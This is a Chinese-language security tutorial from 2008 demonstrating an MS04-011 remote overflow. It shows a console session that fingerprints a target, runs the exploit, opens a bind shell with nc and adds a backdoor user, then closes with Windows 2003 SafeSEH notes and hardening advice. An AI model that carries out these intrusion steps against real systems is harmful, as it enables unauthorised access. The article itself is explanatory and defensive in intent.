pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范系统漏洞溢出攻击实例
阅读排行

系统漏洞溢出攻击实例


2008/10/4  编辑:佚名 来源:admin

我们来看一下以前比较精典的一个溢出实例ms04011溢出:

Microsoft Windows XP [版本 5.1.2600] 

(C) 版权所有 1985-2001 Microsoft Corp. 

C:\windows\system32\cd\ 

C:\>

C:\>getos 2**.159.31.96   (判断操作系统)

---------------------------- 

THCsmbgetOS v0.1 - gets gro 

by Johnny Cyberpunk ( 

---------------------------- 

  •  Connecting Port 139.... 

  •  Sending session request. 

  •  Sending negotiation requ 

  •  Sending setup account re 

  •  Successful.... 

    Remote OS: 

    ---------- 

    WORKGROUP 

    Windows 2000 LAN Manager 

    Windows 5.1 

    C:\> 

    C:\>ms04011 1 2**.159.31.96 (溢出格式)

    shellcode size 404 

    Ret value = 1727 

    C:\> 

    C:\>nc 2**.159.31.96 1234  (nc进行连接)

    Microsoft Windows XP 

  • [版本 5.1.2600] 

    (C) 版权所有 1985-2001 Microsoft Corp. 

    D:\WINDOWS\system32> (得到目标机shell)

    D:\WINDOWS\system32>net user test  test /add 

    net user test test /add 

    命令成功完成。   (建立用户)

    上面只是简单演示了一下溢出过程, 上例是正向溢出, 只是直接溢出后用nc进行连接, 还可以反向溢出, 反向溢出一般用来突破防火墙, 先用nc在本机监听一个端口, 等待反向溢出的服务器连接过来从而得到一个system权限的shell。 对于溢出还有很多, 如iis、mso4045、ms04049、ms05039、ms05051、ms06061等还有一些精典的应用程序远程溢出, 如未打sp3的mssql远程溢出可以直接得到系统权限。 还有imail服务也一样可以通过远程溢出获得系统权限。 还有很多病毒如冲击波、震荡波等病毒都是利用的rpc和lsass溢出漏洞, 在感染一台机器后又不断的以此机器为节点扫描网络中的其它存在漏洞的机器进行溢出植入病毒程序, 这样不断的繁殖下去。

    不过在windiws2003下溢出就无用武之地了, 因为在2003的保护机制里面还有一个技术是可控的SEH处理函数指针, 2003中结构化异常处理例程注册后, 它的函数指针会保存在模块中的一个叫Load Configuration Directory的地址列表中, 如果函数返回时系统发现堆栈中的Cookie发生了改变, 视为溢出, 系统就会查看当前线程相关的SEH中是否有相应的处 理函数指针, 有的话, 系统将该指针与已经注册过函数的地址列表进行对照, 如果没有发现匹配的, 而且处理函数指针在堆栈中, 异常处理函数就不运行。 如果该处 理函数指针位于已加载的各个DLL模块地址范围只外, 或堆中, 处理函数会被执行, 这种可控制的异常处理技术就会使传统的覆盖SEH指针的方法失败。 虽然可以用已经加载模块以外的地址来覆盖SHE但在远程溢出中仍显得无力。

    我们再来看看本地溢出, 本地溢出主要用来进行权限提升, 前面的serv-u的本地溢出已经注入中讲解了, 我们现在再来看一下本地的一个特权提升漏洞

    通过执行本地溢出直接从user用户提升到系统权限。

    对溢出攻击的安全防范:

    关闭139端口, 停掉icp/ip netbios服务。

    在本地连接的属性窗口中tcp/ip协议中的高级选项里“禁用tcp/ip上的netbios(s)”因为很多溢出都是利用的这个通道。

    安装防火墙是必要的。

    打上重要漏洞的补丁(如冲击波补丁、震荡波补丁), 并开启系统的自动更新功能。

    服务器使用windows2003系统。

    相关文章

    iOS11系统新功能简介:转眼间iOS11系统正式推送也有1个月的时间了,虽然正式版出来这么久了,但是根据升级用户的反馈来说还是存在很多毛病的,所以很多人还在纠结是否将手里的iPhone升级至最新的iOS11系统。

    win10系统禁止自动开启开始菜单全屏幕的方法:在win10系统中,可以通过自定义设置将开始菜单全屏幕化。

    如何获得win server 2008操作系统序列号:WindowsLoader(Win7/2008激活工具)v2.2.2绿色版运行环境:PC-windows操作系统软件语言:简体中文|授权方式:绿色版软件类型:国产软件-系统工具-升级补丁软件大小:1.47MB下载地址winserver200...。

    发表评论
    网站帮助 - 广告合作 - 下载声明 - 网站地图